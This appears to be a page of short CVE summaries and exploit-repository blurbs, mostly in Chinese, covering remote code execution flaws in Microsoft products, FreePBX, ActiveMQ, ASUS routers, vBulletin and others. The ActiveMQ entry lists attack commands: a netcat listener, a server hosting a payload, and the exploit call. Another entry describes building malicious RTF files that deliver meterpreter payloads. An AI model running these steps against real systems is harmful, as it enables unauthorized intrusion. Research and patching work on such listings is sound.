CVE-2026-69431

Heap-based buffer overflow in Telnet Client allows an unauthorized attacker to execute code over a network...

CVE-2026-69397

Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network...

CVE-2026-69334

Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network...

CVE-2026-69291

Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network...

CVE-2026-69276

Integer underflow wrap or wraparound in Microsoft UxTheme Library uxtheme.dll allows an unauthorized attacker to execute code over a network...

CVE-2026-69268

Improper access control in Microsoft Office SharePoint allows an authorized attacker to execute code over a network...

CVE-2026-69266

Integer overflow or wraparound in Windows DHCP Server allows an unauthorized attacker to execute code over a network...

CVE-2026-68839

Heap-based buffer overflow in Windows USB Mass Storage Class Driver allows an unauthorized attacker to execute code over a network...

CVE-2026-68828

Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network...

CVE-2026-68775

Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network...

CVE-2026-54611

InstantCMS is a free and open source content management system. Versions prior to 2.18.2 have a Remote Code Execution RCE issue that allows remote authenticated attackers to execute any PHP code via the component installer. It is possible to upload a malicious component into the server, however, ...

CVE-2026-47297

Deserialization of untrusted data in SQL Server allows an unauthorized attacker to execute code over a network...

CVE-2025-57819-exploit

CVE-2025-57819 — FreePBX 预认证 SQL 注入到远程代码执行 针对 CVE-2025-57819 的一体化利用工具，该漏洞是 FreePBX 端点模块中未经认证的 SQL 注入漏洞，可通过 cron 任务注入实现远程代码执行。 CVSS : 9.8（严重）— CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CISA KEV : 2025 年 8 月 29 日添加 受影响版本 : Sangoma FreePBX 15、16、17，且端点模块版本 │ ▼ 向 cronjobs 表进行 SQL 注入...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ 未经身份验证的远程代码执行的 Python 实现 设置与利用 nc -lvnp 4444 - 启动监听器 python3 -m http.server 8080 - 托管包含你 payload 的 poc.xml python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 启动利用...

ASUS-AiCloud-RCE

Origasus origasus.go 编译而成的 Go 程序，用于在授权安全测试或防御分析 （例如：自有设备、软件渗透测试实验室）范围内检查与 ASUS AiCloud / AsusWRT 相关的端点。 重要： 此类软件在未经授权的情况下针对系统使用，在许多国家是非法的 。仅在获得明确许可并在法律框架内运行。请勿在生产环境或第三方网络中未经授权进行扫描/利用。 背景 源代码头部注释中列出的相关参考信息（例如：CVE-2025-2492、CVE-2024-12912、CVE-2025-59366 以及厂商安全公告）可用于安全补丁和风险评估。该程序的目的是帮助安全研究人员和防御团队识别和...

PicusSecurity4.Week.Repo

follina脆弱性のGitHubリポジトリ CVE-2022-30190 : CVE ゼロデイ MS Office RCE、別名 msdt follina...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE 漏洞利用...

CVE-2017-0199

CVE-2017-0199 Exploit toolkit CVE-2017-0199 - v2.0 是一个方便的Python脚本，提供了一种快速有效的方式来利用Microsoft RTF RCE。它可以生成恶意RTF文件，并在无需复杂配置的情况下向受害者传递metasploit / meterpreter载荷。 发布说明： 为脚本引入了以下功能： 使用工具包生成恶意RTF文件 以微型HTA + Web服务器模式运行工具包进行利用 版本: Python 2.7.13 示例： 步骤1：使用以下命令生成恶意RTF文件并发送给受害者 语法： python...

CVE-2020-15568

CVE-2020-15568 一个针对CVE-2020-15568的快速简便的概念验证（POC）。 未经测试，但基于在此找到的信息：https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...

PoC-CVE-2017-3881

PoC-CVE-2017-3881 Cisco Catalyst 远程代码执行 PoC 本仓库包含用于利用 Cisco Systems 于 2017 年 3 月 17 日披露的远程代码执行漏洞的概念验证（Proof-Of-Concept）代码 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp 描述...